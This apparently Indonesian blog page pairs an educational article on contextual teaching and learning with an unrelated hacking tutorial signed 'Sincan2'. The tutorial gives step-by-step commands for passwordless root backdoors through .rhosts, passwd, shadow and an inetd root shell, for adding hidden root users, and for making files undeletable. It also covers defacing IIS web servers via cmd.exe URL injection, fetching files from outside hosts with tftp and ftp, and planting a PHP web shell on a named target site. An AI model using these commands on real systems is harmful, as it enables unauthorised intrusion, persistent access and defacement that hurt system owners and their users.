CTL adalah suatu pendekatan pembelajaran dan pengajaran yang mengaitkan antara materi yang diajarkan dengan situasi dunia nyata siswa dan mendorong siswa membuat hubungan antara pengetahuan yang dimilikinya dengan penerapannya dalam kehidupan mereka sebagai individu, anggota (keluarga, masyarakat, dan bangsa). Dengan pendekatan CTL, proses belajar mengajar akan lebih konkret, lebih realistis, lebih aktual, lebih nyata, lebih menyenangkan, dan lebih bermakna. Proses belajar mengajar berpendekatan CTL ini diharapkan dapat meningkatkan hasil belajar (kualitas, kreativitas, produktivitas, efisiensi, dan efektivitas). Hasil belajar meningkat, karena dalam CTL, semua pancaindera siswa diaktifkan dan dimanfaatkan secara serentak dalam proses belajar mengajar melalui kegiatan-kegiatan belajar yang lebih (aktual, konkret, realistis, nyata, menyenangkan, dan bermakna). CTL lebih menekankan pada pemberdayaan siswa sehingga hasil belajar bukan sebatas pengenalan nilai, akan tetapi penghayatan dan bahkan sampai pada penerapan nilai-nilai dalam kehidupan nyata. Pemberdayaan siswa juga dapat dilihat sejauhmana CTL mampu menumbuhkan daya kreasi, daya nalar, rasa keingintahuan, dan eksperimentasi-eksperimentasi untuk menemukan kemungkinan-kemungkinan baru (meskipun hasilnya keliru), memberikan keterbukaan terhadap kemungkinan-kemungkinan baru, menumbuhkan demokrasi dan memberikan toleransi pada kekeliruan-kekeliruan akibat kreativitas berfikir.

2. Tujuan dan Hasil yang Diharapkan dari CTL

Penerapan pendekatan CTL bertujuan untuk meningkatkan prestasi belajar siswa melalui peningkatan pemahaman makna materi pelajaran yang dipelajarinya dengan mengaitkan antara materi yang dipelajari dengan konteks kehidupan mereka sehari-hari sebagai individu, anggota keluarga, anggota masyarakat, dan anggota bangsa. Untuk mencapai tujuan tersebut, sejumlah hasil yang diharapkan dari penerapan pendekatan CTL adalah sebagai berikut: (1) guru yang berwawasan CTL, (2) materi pembelajaran, (3) strategi, metode, dan teknik belajar dan mengajar, (4) media pembelajaran, (5) fasilitas pendukung, (6) proses belajar dan mengajar, (7) kancah pembelajaran, (8) model penilaian/evaluasi, dan (8) suasana/iklim sekolah yang bernuansa CTL. Guru yang berwawasan CTL harus dihasilkan melalui berbagai cara, misalnya pelatihan, pemagangan, studi banding, dan pemenuhan bacaan CTL yang lengkap. Materi pembelajaran yang dijiwai oleh konteks perlu disusun agar lebih bermakna bagi siswa.

Strategi, metode, dan teknik belajar dan mengajar yang mampu mengaktifkan semangat belajar siswa, yang lebih konkret, yang menggunakan realitas, yang lebih aktual, yang lebih nyata/riil, dan sebagainya perlu diupayakan. Media pendidikan yang bernuansa CTL seperti misalnya situasi alamiah, benda nyata, alat peraga, film nyata dan VCD perlu dipilih dan dirancang agar membikin belajar lebih bermakna. Fasilitas pendukung CTL seperti misalnya peralatan dan perlengkapan, laboratorium (alamiah dan buatan), tempat praktek, dan tempat-tempat untuk melakukan pelatihan perlu diusahakan.

Proses belajar dan mengajar yang ditunjukkan oleh perilaku guru dan perilaku siswa yang bernuansa CTL merupakan inti dari pembelajaran. Perilaku guru, seperti misalnya, kejelasan mengajar, penggunaan strategi-metode-teknik mengajar yang variatif, penggunaan media pengajaran yang variatif mulai dari abstrak hingga konkret, dari tiruan hingga asli, pemanfaatan ide-ide siswa, antusiasme, jenis pertanyaan, dan pengembangan berfikir siswa, perlu dikembangkan dari waktu ke waktu. Perilaku siswa, seperti misalnya, semangat belajar, keseriusan, perhatian, keaktifan, dan keingintahuan, perlu didorong dari waktu ke waktu.

Kancah pembelajaran perlu dipilih sesuai dengan hasil belajar yang diinginkan. Kancah pembelajaran yang dimaksud tidak harus di ruang kelas, tetapi juga di alam terbuka yang asli, di masyarakat, di rumah, dan di lingkungan siswa dimana mereka hidup. Penilaian/evaluasi otentik perlu diupayakan karena CTL menuntut pengukuran prestasi belajar siswa dengan cara-cara yang tepat dan variatif, tidak hanya dengan pencil and paper test. Jadi penilaian otentik merupakan kombinasi dari berbagai cara penilaian, mulai dari tes tertulis, hasil pekerjaan rumah, proyek, kuis, karya tulis siswa,laporan, jurnal, portofolio, observasi, praktek, dan tanya jawab di kelas. Suasana/iklim sekolah yang bernuansa CTL perlu diupayakan dengan membuat situasi kehidupan sekolah sedekat mungkin dengan kehidupan nyata di lingkungan siswa.

3. Komponen CTL dan Penerapannya di Kelas

CTL memiliki komponen-komponen sebagai berikut: konstruktivisme, inkuiri, pertanyaan, masyarakat belajar, pemodelan, refleksi, peniaian otentik (Direktorat Pendidikan Lanjutan Pertama, 2002). Konstruktivisme, yang intinya bahwa pengetahuan seseorang itu hanya dapat dibangun oleh dirinya sendiri dan bukannya diberikan oleh orang lain yang siap diambil dan diingat. Inkuiri menekankan bahwa mempelajari sesuatu itu dapat dilakukan lebih efektif melalui tahapan inkuiri sebagai berikut, yaitu: mengamati, menemukan dan merumuskan masalah, mengajukan dugaan jawaban (hipotesis), mengumpulkan data, menganalisis data, dan membuat kesimpulan.

Masyarakat belajar, yang esensinya bahwa belajar itu dapat diperoleh melalui kerjasama dengan orang lain. Kerja kelompok, diskusi kelompok, dan pengerjaan proyek secara berkelompok adalah contoh membangun masyarakat belajar. Pemodelan, adalah pembelajaran yang dilakukan dengan memberikan model/contoh. Model bisa berupa benda, cara, metoda kerja, cara/prosedur kerja, atau yang lain, yang bisa ditiru oleh siswa. Refleksi, adalah cara berpikir tentang apa yang dipelajari sebelumnya kemudian direnungkan apakah yang telah dipelajari selama ini benar dan jika salah perlu direvisi. Hasil revisi inilah yang akan merupakan pengayaan dari pengetahuan sebelumnya. Penilaian otentik adalah penilaian yang sebenarnya terhadap perkembangan belajar siswa sehingga penilaian tidak bisa dilakukan hanya dengan satu cara akan tetapi menggunakan ragam cara, misalnya kombinasi dari ualangan harian, pekerjaan rumah, karya siswa, laporan, hasil tes tertulis, hasil diskusi, karya tulis, demonstrasi, dsb.

CTL dapat diterapkan di kelas secara sederhana, yaitu :

    1. Konstruktivisme: kembangkan pemikiran bahwa anak akan belajar lebih bermakna dengan cara bekerja sendiri, menemukan sendiri, dan mengkonstruksi sendiri pengetahuan, nilai, dan keterampilan barunya.
    2. Inkuiri: laksanakan kegiatan inkuiri untuk semua topik sekiranya mungkin.
    3. Pertanyaan: kembangkan sifat ingin tahu siswa dengan bertanya.
    4. Masyarakat belajar: ciptakan “masyarakat belajar” melalui belajar secara kelompok.
    5. Modeling: hadirkan “model” sebagai contoh pembelajaran.
    6. Refleksi: lakukan refleksi pada setiap akhir pertemuan kelas; dan.
    7. Penilaian otentik: lakukan penilaian otentik dengan berbagai cara.

4. Pelaksanaan CTL

Seperti disampaikan sebelumnya, esensi pendekatan CTL adalah membantu siswa mengaitkan antara materi yang dipelajarinya dengan konteks kehidupan/situasi dunia nyata mereka sehari-hari sebagai individu, anggota keluarga, anggota masyarakat, dan anggota bangsa dan mendorong siswa membuat hubungan antara pengetahuan yang dimilikinya dengan penerapannya dalam kehidupan mereka sehari-hari. Dengan pendekatan CTL, proses belajar mengajar akan lebih konkret, lebih realistis, lebih aktual, lebih nyata, lebih menyenangkan, dan lebih bermakna. Konsep ini memiliki implikasi bahwa pelaksanaan CTL tidak harus seragam/konformitas dan dijamin adanya keberagaman/kemajemukan sesuai dengan kekhasan dan kebolehan konteks masing-masing siswa. Dengan demikian tidak ada satu resep pelaksanaan CTL yang sama untuk diberlakukan ke seluruh sekolah di Indonesia. Oleh karena itu guru harus memiliki kesadaran dan mulai berfikir bahwa pemahaman, penghayatan, dan penginternalisasian konteks kedalam proses belajar dan mengajar sudah merupakan keharusan jika CTL merupakan plihan pendekatan yang dianut.

Pelaksanaan CTL memerlukan prubahan-perubahan kebiasaan dalam proses belajar mengajar, mulai dari perencanaan, pelaksanaan, hingga sampai pada penilaian hasil belajarnya. Perubahan-perubahan kebiasaan ini memunculkan sejumlah pertanyaan yang perlu dipertimbangan berkaitan dengan penerapan CTL, yaitu: (1) Pembelajaran untuk apa?? tujuan; (2) Pembelajaran untuk siapa? ? siswa; (3) Apa yang diajarkan? ? materi ajar; (4) Pengajaran oleh siapa? ? guru; (5) Bagaimana cara mengajarnya? ? strategi, metode, teknik mengajar; (6) Dengan cara apa mengajarnya? ? media pengajaran dan pembelajaran; (7) Pembelajaran dimana? ? kancah; (8) Bagaimana cara mengevaluasinya? ? penilaian; dan (9) Berapa lama? ? durasi pembelajaran. Sejumlah pertanyaan lain masih dapat didaftar, namun yang perlu digarisbawahi adalah bahwa pelaksanaan CTL memerlukan pentahapan yang perlu dipersiapkan secara matang. Berikut dikemukakan pentahapan pelaksanaan CTL pada tingkat sekolah. Pelaksanaan CTL pada tingkat sekolah melibatkan banyak pihak, dalam dan luar sekolah. Penjelasan pentahapan pelaksanaan CTL pada tingkat sekolah diuraikan seperlunya seperti berikut :

  1. Mengkaji materi pelajaran yang akan diajarkan kepada siswa yaitu dengan memilah-milah materi yang tekstual dan materi yang dapat dikaitkan dengan hal-hal aktual/riil.
  2. Mengkaji konteks kehidupan siswa sehari-hari (keluarga, tempat kerja, sosial, budaya, masyarakat, organisasi sosial, dsb.) secara cermat sebagai salah satu upaya untuk memahamikonteks kehidupan siswa sehari-hari.
  3. Memilih materi pelajaran yang dapat dikaitkan dengan konteks kehidupan siswa.
  4. Menyusun persiapan proses belajar dan mengajar yang telah memasukkan konteks kedalam materi yang akan diajarkan.
  5. Melaksanakan proses belajar mengajar kontekstual yaitu mendorong siswa untuk selalu mengaitkan materi yang dipelajari dengan pengetahuan/pengalaman yang telah dimiliki sebelumnya.
  6. Melakukan penilaian otentik terhadap apa yang telah dipelajari oleh siswa. Hasil penilaian digunakan sebagai bahan masukan bagi perbaikan/penyempurnaan persiapan dan pelaksanaan proses belajar dan mengajar yang akan datang.

5. Strategi

Pergeseran dari pendekatan proses belajar mengajar konvensional menuju CTL diperlukan strategi seperti Tabel 1 berikut:

Konvesional CTL
Abstrak Riil
Tekstual Aktual
Verbal Konkret
Artifisial Realita
Maya Nyata

6. Kesimpulan

CTL merupakan pendekatan belajar yang mendekatkan materi yang ddipelajari oleh siswa dengan konteks kehidupan sehari-hari siswa. Jika dilaksanakan dengan baik, CTL dapat meningkatkan makna pembelajaran bagi siswa. Peningkatan makna pembelajaran ini pada gilirannya akan meningkatkan hasil belajar siswa, baik hasil belajar yang berupa kemampuan dasar maupun kemampuan fungsional. Pendekatan CTL memerlukan guru yang gemar mempelajari konteks untuk dikaitkan dengan materi pelajaran yang diajarkan.

F. KETERKAITAN ANTARA MBS, LIFE SKILLS, KBK, DAN CTL

Peningkatan mutu melalui MBS, Life Skills, KBK, dan CTL merupakan kesatuan upaya yang terpadu, saling terkait, dan saling melengkapi. MBS merupakan upaya pembaruan pengelolaan (manajemen) sekolah yang semula berbasis pemerintah pusat kemudian bergeser ke manajemen berbasis sekolah. Jadi fokus MBS adalah pada manajemen sekolah, misalnya manajemen kurikulum, manajemen ketenagaan, manajemen kesiswaan, manajemen sarana dan prasarana, manajemen keuangan, dan manajemen hubungan sekolah dan masyarakat, yang semula semuanya diarahkan dan dibimbing oleh pemerintah pusat, sekarang utamanya dikelola oleh sekolah namun tetap dalam koridor kebijakan pendidikan nasional.

Life skills atau kecakapan hidup adalah kemampuan, kesanggupan, dan keterampilan yang harus dimiliki oleh peserta didik agar yang bersangkutan dapat menjalani kehidupan dengan nikmat dan bahagia. Sementara itu, jenis kehidupan sangat banyak, misalnya ada kehidupan yang disebut keluarga, industri, kabupaten, sekolah, bank, pertanian, perkebunan, transportasi, dan partai politik. Dengan waktu belajar di sekolah yang terbatas, maka tidak semua jenis kecakapan dapat diajarkan untuk menghadapi semua jenis kehidupan. Oleh karena itu, jenis-jenis kecakapan hidup esensial saja yang perlu diajarkan di sekolah. Kecakapan hidup esensial demikian itu disebut saripati kecakapan hidup dan seringkali disebut standar kompetensi (minimum). Standar kompetensi adalah pernyataan tentang kompetensi yang harus dimiliki oleh peserta didik untuk melakukan/mengerjakan sesuatu sesuai dengan unjuk kerja yang dipersyaratkan. Jadi, kompetensi adalah kemampuan melakukan sesuatu dan bukannya sekadar kemampuan mengetahui sesuatu. Kompetensi merupakan peleburan unsur-unsur pengetahuan, keterampilan, dan sikap.

KBK adalah kurikulum yang disusun berdasarkan standar kompetensi (saripati life skills) dan karenanya disebut kurikulum berbasis kompetensi (KBK). Jika life skills merupakan standar kompetensi yang harus dimiliki oleh peserta didik, maka KBK merupakan substansi (materi) yang harus diajarkan kepada peserta didik agar yang bersangkutan menguasai standar kompetensi yang merupakan saripati life skills tersebut. Jadi, KBK menyangkut “apa yang harus diajarkan” (what to teach) kepada peserta didik berdasarkan standar kompetensi. Jika KBK menyangkut “apa yang harus diajarkan (what to teach)”, maka CTL menyangkut bagaimana cara mengajar dan belajarnya (how to teach and learn)”. Jadi, fokus CTL adalah pada proses belajar dan mengajar yang benar-benar mendukung ketercapaian KBK. Mengingat KBK merupakan kurikulum yang isinya tidak sekadar pengetahuan, tetapi juga keterampilan/praktek dan sikap, maka pendekatan proses belajar mengajar yang paling cocok adalah CTL. CTL cocok untuk melaksanakan KBK karena CTL memiliki ciri-ciri sebagai berikut: pengajaran dan pembelajaran lebih kontekstual, lebih aktual, lebih riil, lebih konkret, dan lebih nyata. Keterkaitan antara MBS, Life Skills, KBK, dan CTL dapat dilihat pada Gambar 1 (Kerangka Pendidikan Berbasis Kompetensi). (Oleh: Prof. Dr. Slamet PH, MA,MEd, MA,MLHR)

Kamis, 19 Februari 2009

by mbah Sincan2

1.Caranya bikin shell tanpa password :

root# echo "korban.com Sincan2" >> /.rhosts

rlogin -l root, korban.com


2.Mengedit shell Tanpa password "

gdm:*:3:7:Binaries Command and Source,,,:/bin:/bin/false

* << tanda itu di hapus Shell dengan login gdm akan tanpa password


3.Shell tanpa password :

root@Sincan2# echo "ntcp 2630/tcp # Network Traffic Control Protocol" >> /etc/services

root@Sincan2# echo "ntcp stream tcp nowait root /bin/sh sh /tmp/Sincan2" >> /etc/inetd.conf

root@Sincan2# echo "echo korban.com > ~root/.rhosts" > /tmp/Sincan2

root@Sincan2#echo Sincan2:x:0:0:Sincan2:/:/bin/sh >> /etc/passwd;

root@Sincan2#echo Sincan2:::::: >> /etc/shadow;

root@Sincan2#passwd Sincan2

Skript 3 diatas akan :

A.membuka saluran telnet Port 2630

B.Membuka Folder root telnet,sistem untuk menjalankan perintah /bin/sh sh /tmp/Sincan2

C.Itu membuka >>> telnet korban.com 2630
Setelah itu kalian tinggal tambahkan entri ini root@Sincan2#rlogin -l root korban.com

D.


4.Untuk add User :

/usr/sbin/adduser Sincan2 -g root -d /var/

passwd Sincan2

New password:(isikan password)

Retype password :(isikan sama dengan password tadi)

Lalu kalian coba bukak ssh port 22 Login Sincan2 Password yang kalian setting tadi.


5.Caranya imuttable : << adalah suatu File atau data yang kagak bisa di del meskipun root

bila kamu belum merubah imuttable nya ??????????

chattr +i namafilenya <<< setelan command itu dijalankan kamu cobak rm -rf namafilenya



<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

c+copy+c:winntsystem32cmd.exe+c:sincan2.exe

akan menjadi direktory:

/sincan2.exe?/c+dirc:

c+dir+c:inetpub

c+dir+c:inetpubwwwroot

c+dir+c:inetpubindex.htm

jangan merusak index caranya :

c+copy+c:inetpubwwwrootindex.htm+c:inetpubwwwrootindex.htm.bak << jadikan index.htm jadi .bak

Deface :

c+echo+Deface By Sincan2+>+c:inetpubwwwrootsincan2.htm

Dengan cara Tftp :

c+tftp+-i+202.159.(ipmu)+get+antique.htm(file yang mau di upload)+c:inetpubwwwrootSincan2.html

Script ftp :

c+echo+open+geocities.com+>>+c:inetpubwwwrootsincan2.ftp

c+echo+sincan2+>>c:inetpubwwwrootsincan2.ftp

c+echo+sayangku+>>+c:c+inetpubwwwrootsincan2.ftp

c+echo+lcd+c:inetpubwwwroot+>>+c:inetpubwwwrootsincan2.ftp

c+echo+ascii+>>+c:inetpubwwwrootsincan2.ftp

c+echo+get+sincan2.htm+>>+c:inetpubwwwrootsincan2.ftp

c+echo+close+>>+c:inetpubwwwrootsincan2.ftp

kita bisa testing :

c+type+c:inetpubwwwrootsincan2.ftp

script selesai :

c+ftp+-s:c:inetpubwwwrootsincan2.ftp

buka ie satu lagi :

c+dir+c:inetpubwwwroot << sudah terkirim belum

--------------------------------------++++++++++++++++++++++++++++--------------
PHP shell

Sincan2 <-= ini bug nya
00000001.php comment <--= ini key googlenya
http://www.mrpscript.net/indra/archives/00000001.php <--= mis. ini targetnya
Name : <---= isi dengan Sincan2
Message : <--= <---= isi terserah dikau
abis toe klik post
http://www.mrpscript.net/indra/archives/00000001.php <-= yg tadinya alamatnya begini
kamu tambahin jadi
http://www.mrpscript.net/indra/archives/00000001.php?cmd=ls
http://www.mrpscript.net/indra/archives/00000001.php?cmd=ls
ls <--= ini adalah command" shell
wget dan lynx berlaku disana
tapi tergantung dari server dibatasi gak command itu diserver target
http://www.gimpster.com/downloads/phpshell/phpshell-1.6.tar.gz <--= nah ini alamat phpshell
kamu ambil aja disana phpshellnya
trus masukin ke server target
biar leluasa
http://stars.allthingx.com/archive/phpshell-1.7/phpshell.php




=====Selesai=====